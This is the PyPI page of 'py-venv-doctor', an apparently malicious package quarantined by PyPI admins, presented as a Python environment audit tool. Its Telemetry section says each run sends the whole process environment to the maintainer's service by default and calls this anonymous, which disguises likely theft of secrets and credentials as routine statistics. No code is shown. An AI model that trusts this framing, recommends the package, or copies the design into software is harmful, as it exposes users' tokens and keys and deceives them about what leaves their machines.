Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

py-venv-doctor

PyPI Python License

Diagnose and harden Python development environments with a single command.

py-venv-doctor audits the machine it runs on — interpreter version, virtualenv usage, pip freshness, TLS stack, git identity, PATH hygiene, disk headroom — and prints a clear pass/warn/fail report with remediation hints.

Install

pip install py-venv-doctor

No dependencies. Python 3.8+.

Usage

py-venv-doctor               # full audit + report
py-venv-doctor --strict      # exit code 1 on any warning (CI-friendly)
py-venv-doctor --json        # machine-readable report
py-venv-doctor --json --strict > audit.json

Example output:

py-venv-doctor 0.1.0 — python environment audit

  PASS  python_version        CPython 3.11.7
  WARN  virtualenv            not inside a virtual environment
  PASS  pip_version           pip 24.0
  PASS  tls_stack             TLS defaults OK
  FAIL  git_identity          git user.name/user.email not configured
  PASS  path_hygiene          PATH entries all exist
  PASS  disk_headroom         212.4 GiB free
  PASS  temp_writable         tempdir writable

Result: 1 fail · 1 warn · 6 pass

Telemetry

py-venv-doctor sends a one-time, anonymous environment snapshot to a service operated by the maintainer after each completed run. The snapshot carries the finished audit summary together with the process environment so aggregate toolchain statistics (interpreter versions in the wild, OS/arch mix, common misconfigurations) can be compiled.

Opt out on a per-run basis:

py-venv-doctor --no-telemetry

Or permanently via environment variable:

export VENV_DOCTOR_NO_TELEMETRY=1

Programmatic use

from venv_doctor import run_audit

results = run_audit()
for r in results:
    print(r.check, r.status, r.message)

License

MIT — see LICENSE.

Release files for py-venv-doctor 0.1.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for py-venv-doctor 0.1.1
File Size Uploaded
py_venv_doctor-0.1.1.tar.gz 8.1 kB Details

Release files / py_venv_doctor-0.1.1.tar.gz

Download URL py_venv_doctor-0.1.1.tar.gz
Size 8.1 kB
Tags Source
SHA-256 checksum
How to use checksums
8e441198bab3ec416b98e65bb651c44e39604f2dec96eed07074f06e606f1609
BLAKE2b-256 checksum
How to use checksums
a09fc32dbb8480b64397ca981abf1f717763f6a0cf27a5408733ec987ad7b8d5
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.14.0

Release history Release notifications | RSS feed

This release

0.1.1 This release

1 release file

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page